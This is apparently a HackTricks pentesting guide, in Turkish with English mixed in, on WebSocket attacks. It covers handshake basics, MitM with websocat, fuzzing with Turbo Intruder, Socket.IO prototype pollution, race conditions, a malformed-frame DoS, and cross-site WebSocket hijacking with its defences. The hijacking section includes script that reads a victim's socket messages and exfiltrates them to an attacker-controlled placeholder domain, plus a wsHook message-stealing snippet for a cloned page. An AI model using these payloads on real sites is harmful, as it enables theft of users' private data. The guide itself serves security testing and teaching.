20 KiB
WebSocket Attacks
{{#include ../banners/hacktricks-training.md}}
WebSockets nedir
WebSocket bağlantıları başlangıçta bir HTTP handshake ile kurulur ve long-lived olacak şekilde tasarlanmıştır; bu sayede transactional bir sisteme ihtiyaç duymadan her zaman çift yönlü mesajlaşmaya izin verir. Bu, canlı finansal veri akışları gibi düşük gecikme veya server-initiated communication gerektiren uygulamalar için WebSockets'i özellikle avantajlı kılar.
WebSocket Bağlantılarının Kurulması
WebSocket bağlantılarının kurulmasına dair detaylı bir açıklamaya burada ulaşılabilir. Özetle, WebSocket bağlantıları genellikle aşağıda gösterildiği gibi istemci tarafı JavaScript ile başlatılır:
var ws = new WebSocket("wss://normal-website.com/ws")
wss
protokolü TLS ile güvenli hale getirilmiş bir WebSocket bağlantısını ifade ederken, ws
güvenli olmayan bir bağlantıyı gösterir.
Bağlantı kurulurken, HTTP üzerinden tarayıcı ile sunucu arasında bir handshake gerçekleştirilir. Handshake süreci tarayıcının bir istek göndermesini ve sunucunun yanıt vermesini içerir; aşağıdaki örneklerde gösterildiği gibi:
Tarayıcı bir handshake isteği gönderir:
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Sunucunun handshake yanıtı:
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Bağlantı kurulduktan sonra iki yönlü mesaj alışverişi için açık kalır.
WebSocket Handshake'in Temel Noktaları:
- The
Connection
andUpgrade
headers signal the initiation of a WebSocket handshake. - The
Sec-WebSocket-Version
header indicates the desired WebSocket protocol version, usually13
. - A Base64-encoded random value is sent in the
Sec-WebSocket-Key
header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache. - The
Sec-WebSocket-Accept
header in the server's response is a hash of theSec-WebSocket-Key
, verifying the server's intention to open a WebSocket connection.
Bu özellikler handshake sürecinin güvenli ve güvenilir olmasını sağlar ve verimli gerçek zamanlı iletişim için zemin hazırlar.
Linux konsolu
websocat
kullanarak bir websocket ile ham bağlantı kurabilirsiniz.
websocat --insecure wss://10.10.10.10:8000 -v
Veya bir websocat sunucusu oluşturmak için:
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket bağlantıları
Eğer istemcilerin mevcut yerel ağınızdan bir HTTP websockete bağlı olduğunu tespit ederseniz, istemci ile sunucu arasında bir MitM saldırısı gerçekleştirmek için bir ARP Spoofing Attack deneyebilirsiniz.
İstemci size bağlanmaya çalışırken şu araçları kullanabilirsiniz:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
Websockets keşfi
Websockets üzerinde bilinen vulnerabilities'ları otomatik olarak keşfetmek, fingerprint almak ve aramak için araç https://github.com/PalindromeLabs/STEWS kullanabilirsiniz.
Websocket Debug araçları
- Burp Suite MitM websockets iletişimini, normal HTTP iletişimine yaptığına çok benzer bir şekilde destekler.
- The socketsleuth Burp Suite extension Burp içinde Websocket iletişimlerini daha iyi yönetmenizi sağlar; history'yi görme, interception rules ayarlama, match and replace kuralları kullanma, Intruder ve AutoRepeater kullanma gibi imkanlar sunar.
- WSSiP: Short for "WebSocket/Socket.io Proxy", Node.js ile yazılmış bu araç, client ve server arasındaki tüm WebSocket ve Socket.IO iletişimlerini görüntülemek ve mesajları capture, intercept, send custom etmek için bir kullanıcı arayüzü sağlar.
- wsrepl pentesting için özel olarak tasarlanmış bir interactive websocket REPL'dir. incoming websocket messages and sending new ones'ı gözlemlemek ve yeni mesajlar göndermek için bir arayüz sağlar; bu iletişimi automating etmek için kullanımı kolay bir framework içerir.
- https://websocketking.com/ diğer web'lerle iletişim kurmak için bir web sağlayan ve websockets kullanan bir web aracıdır.
- https://hoppscotch.io/realtime/websocket diğer iletişim/protokol türleri arasında, websockets kullanarak diğer web'lerle iletişim kurmak için bir web sağlar.
Decrypting Websocket
Websocket Lab
Burp-Suite-Extender-Montoya-Course içinde websockets kullanan bir web başlatmak için örnek kod bulunur ve this post içinde bir açıklama bulabilirsiniz.
Websocket Fuzzing
Burp uzantısı Backslash Powered Scanner artık WebSocket mesajlarını da fuzz etmeye izin veriyor. Bu konuda daha fazla bilgiyi here adresinde bulabilirsiniz.
WebSocket Turbo Intruder (Burp extension)
PortSwigger'ın WebSocket Turbo Intruder'ı Turbo Intruder–tarzı Python scripting ve yüksek hızda fuzzing'i WebSockets'e getirir. BApp Store'dan veya kaynaktan yükleyin. İki bileşenden oluşur:
- Turbo Intruder: custom engines kullanarak tek bir WS endpoint'ine yüksek hacimli mesaj gönderimi.
- HTTP Middleware: yerel bir HTTP endpoint'i açar ve gövdeleri persistent bir bağlantı üzerinden WS mesajları olarak iletir, böylece herhangi bir HTTP‑tabanlı scanner WS backend'lerini test edebilir.
Bir WS endpoint'ini fuzz etmek ve ilgili yanıtları filtrelemek için temel script yapısı:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Tek bir mesaj birden fazla yanıt tetiklediğinde gürültüyü azaltmak için @MatchRegex(...)
gibi dekoratörler kullanın.
HTTP arkasında WS Köprüsü (HTTP Middleware)
Sürekli bir WS bağlantısını sarın ve HTTP gövdelerini WS mesajları olarak ileterek HTTP tarama araçlarıyla otomatik testler yapın:
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Sonra HTTP'yi yerel olarak gönder; body WS mesajı olarak iletilir:
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Bu, WS backend'lerini kontrol etmenizi ve "ilginç" olaylar (örn. SQLi hataları, auth bypass, command injection davranışı) için filtreleme yapmanızı sağlar.
Socket.IO handling (handshake, heartbeats, events)
Socket.IO, WS'nin üzerine kendi çerçevelemesini ekler. Zorunlu sorgu parametresi EIO
(örn. EIO=4
) ile tespit edin. Oturumu Ping (2
) ve Pong (3
) ile canlı tutun ve konuşmayı "40"
ile başlatın; ardından 42["message","hello"]
gibi olaylar gönderin.
Intruder example:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
HTTP adaptör varyantı:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Socket.IO aracılığıyla server-side prototype pollution tespiti
PortSwigger’ın güvenli tespit tekniğini takip ederek, Express iç yapılarını şu gibi bir payload göndererek kirletmeyi deneyin:
{"__proto__":{"initialPacket":"Polluted"}}
Eğer selamlaşmalar veya davranış değişiyorsa (ör. echo içinde "Polluted" görünüyorsa), muhtemelen server-side prototypes kirlendi. Etki, ulaşılabilir sinks'e bağlıdır; Node.js prototype pollution bölümündeki gadgets ile korelasyon kurun. Bakın:
- Check NodeJS – proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
Varsayılan engine mesajları tek bir connection üzerinde batch'ler (büyük throughput, yarışlar için zayıf). Paralel olarak mantık yarışlarını tetiklemek (double‑spend, token reuse, state desync) için birden fazla WS connection oluşturmak ve payloadları paralel ateşlemek üzere THREADED engine'i kullanın. Örnek script ile başlayın ve config()
içinde concurrency'i ayarlayın.
- Learn methodology and alternatives in Race Condition (see “RC in WebSockets”).
WebSocket DoS: malformed frame “Ping of Death”
Header'ı büyük bir payload length olarak beyan eden fakat body göndermeyen WS frame'leri oluşturun. Bazı WS server'ları length'e güvenip buffer ön‑ayırır; bunu Integer.MAX_VALUE
civarına ayarlamak Out‑Of‑Memory ve uzaktan yetkisiz DoS'e yol açabilir. Örnek script'e bakın.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>
- WS Logger'ı etkinleştirerek mesajları internal IDs ile yakalayın ve korelasyon kurun.
- Karmaşık adapter'larda mesaj ID işleme davranışını ince ayarlamak için
Connection
üzerindeinc*
/dec*
helper'larını kullanın. @PingPong
/@Pong
gibi dekoratörler veisInteresting()
gibi helper'lar gürültüyü azaltır ve oturumları canlı tutar.
Operational safety
Yüksek hızlı WS fuzzing, çok sayıda connection açabilir ve saniyede binlerce mesaj gönderebilir. Malformed frame'ler ve yüksek hızlar gerçek DoS'a neden olabilir. Yalnızca izin verilen yerlerde kullanın.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, diğer adıyla cross-origin WebSocket hijacking, WebSocket handshakes'i etkileyen özel bir Cross-Site Request Forgery (CSRF) vakası olarak tanımlanır. Bu zafiyet, WebSocket handshakes'in yalnızca HTTP cookies ile kimlik doğrulaması yaptığı ve CSRF token'ları veya benzeri güvenlik önlemleri kullanılmadığı durumlarda ortaya çıkar.
Saldırganlar bunu, savunmasız uygulamaya cross-site WebSocket bağlantısı başlatan bir kötücül web sayfası barındırarak suistimal edebilir. Sonuç olarak, bu bağlantı uygulama ile kurbanın oturumunun bir parçası olarak değerlendirilir; bu, oturum yönetim mekanizmasında CSRF koruması eksikliğinin suistimal edilmesidir.
Bu saldırının işe yaraması için gereksinimler şunlardır:
- websocket authentication must be cookie based
- Cookie'nin saldırganın sunucusundan erişilebilir olması gerekir (genellikle bu
SameSite=None
anlamına gelir) ve Firefox'ta Firefox Total Cookie Protection etkin olmamalı ve Chrome'da blocked third-party cookies engellenmemiş olmalıdır. - websocket server bağlantının origin'ini kontrol etmemeli (veya bu bypass edilebilir olmalı)
Ayrıca:
- Eğer authentication localhost veya yerel ağ gibi lokal bir bağlantıya dayanıyorsa, mevcut herhangi bir koruma bunu yasaklamadığı için saldırı mümkün olacaktır (daha fazla bilgi için bakın: more info here)
Simple Attack
websocket connection kurulduğunda cookie'nin server'a gönderildiğini unutmayın. Server, gönderilen cookie'ye dayanarak her bir specific user'ı onun websocket session'ı ile ilişkilendirmek için bunu kullanıyor olabilir.
Örneğin, eğer websocket server bir kullanıcıya ait konuşma geçmişini bir msg ile "READY" gönderildiğinde geri döndürüyor ise, bağlantıyı kuran basit bir XSS (cookie, victim user'ı yetkilendirmek için otomatik olarak gönderilecektir) "READY" göndererek konuşma geçmişini elde edebilecektir.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie with a different subdomain
In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ saldırgan, web socket iletişiminin gerçekleştiği domain'in bir subdomaininde execute arbitrary Javascript in a subdomain çalıştırmayı başardı. Çünkü orası bir subdomain olduğu için, cookie was being sent, ve çünkü Websocket didn't check the Origin properly, onunla iletişim kurulup steal tokens from it mümkün oldu.
Stealing data from user
Taklit etmek istediğiniz web uygulamasını (.html files for example) kopyalayın ve websocket iletişiminin gerçekleştiği script içinde şu kodu ekleyin:
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Şimdi wsHook.js
dosyasını https://github.com/skepticfx/wshook adresinden indirin ve web dosyalarının bulunduğu klasöre kaydedin.
Web uygulamasını açığa çıkarıp bir kullanıcının bağlanmasını sağlarsanız, websocket üzerinden gönderilen ve alınan mesajları çalabilirsiniz:
sudo python3 -m http.server 80
CSWSH Koruma Önlemleri
CSWSH saldırısı, bir kullanıcının kötü amaçlı bir sayfaya bağlanması ve bu sayfanın kullanıcının zaten bağlı olduğu bir web sayfasına websocket bağlantısı açması ve isteğin kullanıcının çerezlerini göndermesi nedeniyle onun yerine kimlik doğrulaması yapması gerçeğine dayanır.
Günümüzde bu sorunu önlemek çok kolay:
- Websocket sunucusunun origin'i kontrol etmesi: Websocket sunucusu, beklenmeyen sayfaların bağlanmasını engellemek için her zaman kullanıcının nereden bağlandığını kontrol etmelidir.
- Kimlik doğrulama token'ı: Kimlik doğrulamayı bir cookie üzerine kurmak yerine, websocket bağlantısı sunucu tarafından kullanıcı için üretilen ve saldırganın bilmediği bir token'a dayanabilir (ör. anti-CSRF token).
- SameSite Cookie attribute:
SameSite
değeriLax
veyaStrict
olan çerezler, harici bir saldırganın sayfasından victim sunucuya gönderilmeyecektir; dolayısıyla çerez bazlı kimlik doğrulama başarılı olmaz. Not: Chrome artık bu flag belirtilmemiş çerezlere varsayılan olarakLax
değerini atayarak bunu daha güvenli hale getirir. Ancak bir çerez oluşturulduktan sonraki ilk 2 dakika boyunca değeriNone
olur ve bu sınırlı süre içinde saldırıya açık kalır (ayrıca bu önlemin bir noktada kaldırılması bekleniyor). - Firefox Total Cookie Protection: Total Cookie Protection, çerezleri oluşturuldukları siteye izole ederek çalışır. Temelde her site, üçüncü tarafların kullanıcının gezinme geçmişini birbirine bağlamasını engellemek için kendi çerez depolama bölümüne sahiptir. Bu, saldırganın siteye çerezlere erişemeyeceği anlamına geldiğinden CSWSH'i kullanılamaz hale getirir.
- Chrome third-party cookies block: Bu,
SameSite=None
olsa bile doğrulanmış kullanıcının çerezinin websocket sunucusuna gönderilmesini engelleyebilir.
Race Conditions
WebSockets'te Race Conditions da mümkündür, daha fazla bilgi için check this information to learn more.
Diğer zafiyetler
Web Sockets, sunucu tarafına ve istemci tarafına veri göndermek için bir mekanizma olduğundan, sunucu ve istemcinin bilgiyi nasıl işlediğine bağlı olarak, Web Sockets aracılığıyla bir kullanıcının girdiği veriler kullanılarak XSS, SQLi veya diğer yaygın web zafiyetleri istismar edilebilir.
WebSocket Smuggling
Bu zafiyet, ters proxy kısıtlamalarını websocket iletişimi kurulduğuna inandırarak (gerçekte kurulmamış olsa bile) atlatmanıza izin verebilir. Bu, bir saldırganın gizli endpoint'lere erişmesine olanak sağlayabilir. Daha fazla bilgi için aşağıdaki sayfaya bakın:
{{#ref}} h2c-smuggling.md {{#endref}}
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder – BApp Store
- WebSocketTurboIntruder – GitHub
- Turbo Intruder background
- Server-side prototype pollution – safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
{{#include ../banners/hacktricks-training.md}}